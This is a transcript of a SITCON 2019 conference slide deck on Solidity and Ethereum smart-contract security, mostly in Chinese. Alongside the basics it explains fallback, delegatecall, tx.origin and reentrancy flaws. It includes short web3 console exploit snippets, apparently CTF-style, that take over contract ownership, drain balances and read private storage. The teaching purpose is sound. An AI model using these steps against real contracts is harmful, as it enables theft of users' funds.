Upgrade to Pro — share decks privately, control downloads, hide ads and more …

SITCON2019-Solidity

 SITCON2019-Solidity

NotSurprised

March 24, 2019
Tweet

More Decks by NotSurprised

Other Decks in Programming

Transcript

  1. >

  2. > Ethereum EOA (Externally Owned Account) CA (Contract Account) •

    Person or Party • Address • Access by Private Key • Ether balance • Send transaction • Trigger contract • Code • Address • Ether balance • Trigger contract • On Blockchain
  3. >

  4. > solc a soldility compiler Bytecode just for EVM EVM

    Ethereum VM source smart contract code in soldility
  5. > Unit Wei Value Wei wei 1 wei 1 Kwei

    (babbage) 1e3 wei 1,000 Mwei (lovelace) 1e6 wei 1,000,000 Gwei (shannon) 1e9 wei 1,000,000,000 microether (szabo) 1e12 wei 1,000,000,000,000 milliether (finney) 1e15 wei 1,000,000,000,000,000 ether 1e18 wei 1,000,000,000,000,000,000
  6. > Operation Gas Description ADD/SUB 3 Arithmetic operation AND/OR/XOR 3

    Bitwise logic operation LT/GT/SLT/SGT/EQ 3 Comparison operation POP 2 Stack operation PUSH/DUP/SWAP 3 Stack operation MLOAD/MSTORE 3 Memory operation JUMP 8 Unconditional jump JUMPI 10 Conditional jump SLOAD 200 Storage operation SSTORE 5,000/20,000 Storage operation BALANCE 400 Get balance of an account CREATE 32,000 Create a new account using CREATE CALL 25,000 Create a new account using CALL
  7. > Web3.js 此中介層能把 request 的冗長 JSON-RPC 查詢語句隱藏起來,讓開發者只需要與易懂的(?) JavaScript 互動即可。 •

    abi – 顯示 Application Binary Interface 以及 subfunction 列表以供 de/encode 。 • web3.eth.getBalance( ) – 取得 address 的 balance (存款)。 • web3.eth.sendTransaction( ) – 發送 transaction 乙太坊網路 (公、私、測試網路)。 • web3.eth.myContract.methods.myMethod( ).send( ) – 傳送 transaction 到 smart contract 執行指定的 method. • web3.eth.myContract.methods.myMethod( ).call( ) – 在不發起 transaction 到網路的狀況下調用 “constant” method 以在 EVM 內執行 smart contract method。
  8. > Solidity • payable – 是 modifiers (修飾符) 例如: public、private、onlyOwner、view、pure

    – payable 函數是 Solidity 和以太坊的核心特色 —— 它正是讓Smart Contract Account 可以接收以太幣的特殊函數。 • msg.sender – 在 Solidity 中,有一些全局變量可以被所有函數調用使用其中一個就是 msg.sender 。 – 它指的是當前調用者(contract owner、contract或EOA)的 address。 • tx.origin – 也是 Solidity 中可以被所有函數調用使用的全局變量。 – 它指的是此交易發起的源頭 address ,不能是合約地址。 • <address>. balance( ) • <address payable>.transfer( uint256 ) :一般的交易,最多耗用 2300 wei 的 Gas。 • <address payable>.send( uint256 ) returns ( bool ) :帶交易結果的方式,最多耗用 2300 wei 的 Gas。 • <address>.call.gas(g).value(v)( methodId, args ) :帶交易結果,預設無 Gas 使用上限。 • <address>.call ( ) :一般的呼叫方式,執行背景跳到下一個函式的環境(msg的值和合約的Storage)。 • <address>.callcode ( ) :和 call 相同,只是將被呼叫者的函式搬到呼叫者的環境裡執行。 • <address>.delegatecall( ):和 callcode 相同,只是差在 msg.sender 的值會保持不變向下傳遞。
  9. > Fallback • 合約可以有一個未命名的函數。這個函數不能有參數也不能有返回值。 • 如果一個合約收到了以太幣( Ether ) (且沒有函數被調用),就會執行 fallback

    函數。 • 此外,為了接收以太幣,fallback 函數必須標記為 payable。 • 這就是 Solidity 所說的後備功能。主要用途為 集中處理記錄 預料外的交易內容。
  10. > Fallback function Loop 1000*1000+1? If 1 transaction take 10

    sec? To steal this 1000 ether: 4 Month + 1000 Ether contract.contribute({value:1}) // 首先使貢獻值大於 0 contract.send(1) // 無合約函數交易觸發 fallback 函數 contract.owner( ) // 確認合約擁有者變換與否 contract.withdraw( ) // 將合約的 balance 清零
  11. > Parity Wallet Hack • 在 fallback 函式裡使用: _walletLibrary.delegatecall(msg.data); •

    導致 fallback 處理的例外交易可以調用函數中任何函數,包括: function initWallet(address[] _owners, uint _required, uint _daylimit) { } • 損失 150,000 ETH (~30M USD) 這玩意從各種程度上來說都太他媽邪門了
  12. > Construct • Solidity contract 的 construct 繼承自 Java 的

    class construct 。 • 在定義 contract時,可以使用「建構函數」(Constructor)來進行 contract 的初始化。
  13. >

  14. >

  15. > • msg.sender – 在 Solidity 中,有一些全局變量可以被所有函數調用使用其中一個就是 msg.sender 。 –

    它指的是當前調用者(或智能合約)的 address。 • tx.origin – 也是 Solidity 中可以被所有函數調用使用的全局變量。 – 它指的是此交易發起的源頭 address ,並且絕不會是 contract address 。
  16. >

  17. >

  18. > msg.sender : Client tx.origin : Client msg.sender : ATM

    tx.origin : Client ATM contract Bank contract Client withdraw Client withdraw
  19. > msg.sender : GreenHat tx.origin : GreenHat msg.sender : Bank

    tx.origin : GreenHat Bank contract Client withdraw Pay Money msg.sender : GreenHat tx.origin : GreenHat function( ){ bank.takeOwnership( ) } GreenHat a.k.a. hack rookie tx.origin 絕不會是 contract address
  20. Hacker > msg.sender : Wallet tx.origin : Victim Offer Something

    Like Rubixi (Careful: Hacker not the one launchs the transaction) Pay Money msg.sender : Hacker tx.origin : Victim function( ){ wallet.takeOwnership( ) } Victim Wallet contract
  21. > • Reentrancy – 是 function 可以在執行過程中被中斷,在上一次執行還沒完成前可以再次進 入這個 function 執行而不會有問題,也就是第二次進入

    function 執行結束 後,第一次的執行仍能正確完成。 – 中斷可以是 jump 或 call,也可以是系統的 interrupt 或 signal。 – single thread 下的概念。被系統 interrupt 中斷時 interrupt handler 能 夠再 call 剛剛執行到一半的 function。 • Reentrancy Rule – 不使用 global(或 static)的變數。 如能確保 global 變數或 state 能在執行前後保持一致則可使用。 – 不修改自身的 code – 不 call non-reentrant function
  22. > • 雖使用 mapping(address => uint) public balances; 的值, withdraw(

    ) 依然算 Reentrancy。 • 因為扣存款是在確定完成提款後 ( return true ) • 如果使用具有不斷調用提款的 fallback 函數之合約調用提款, 可行成跨合約遞迴,因為上一輪 提款始終卡在確認完成與否。 • 不斷發起交易會導致提款的 Gas 不段增高。但這裡的 call.value( )( ) 可用盡所有合約 Gas。
  23. >

  24. > • call – 一般的呼叫都是這種方式,執行背景跳到下一個函式的環境 • callcode – 和call相同,只是將被呼叫者的函式搬到呼叫者的環境裡執行。 •

    delegatecall – 和callcode相同,把被呼叫的函式搬到呼叫者的環境裡執行,只是差在 msg.sender 的值。 B.call(byte4(keccak256("func()"))) //next line of A contract function func(){ //some logic code } A contract call B.call(byte4(keccak256("func()"))) //next line of A contract function func(){ //some logic code } function func(){ //some logic code } delegatecall B contract
  25. > • delegatecall( _address ) – 根據 Solidity 的 Contract

    ABI Specification,如果第一個參數剛好是 4 bytes, Solidity 會認為 4 bytes 指定的是函數的 keccak256 的 Hash 值 ( 在 web3 是 sha3 ) 。
  26. > contract.owner() // 確認合約擁有者用於比對 contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)}); // 發送 ether 觸發 callback

    函式 // 將 pwn() 的 hash 4 byte 傳給 If 判斷式中的 delegate // 使 Solidity 自動辨認觸發 pwn() // 用 Solidity 部屬合約則建立一個使用 // byte4(keccak256("pwn()")) 的函式並發送 ether contract.owner() // 確認合約擁有者變換與否 • 複寫函數再宣告建立物件也只會得到屬 於自己的 delegate 物件。 • 使用 delegatecall() 會改變 msg.sender 的特性,來搶奪 delegation 宣告的 delegate 物件。
  27. > Storage Slot (32bytes) Value slot 0 (var1) 1 ->

    4 slot 1 (var2) 2 -> 5 slot 2 (var3) 3 Storage Slot (32bytes) Value slot 0 (var1) 1 slot 1 (var2) 2 slot 2 (var3) 3 web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});
  28. >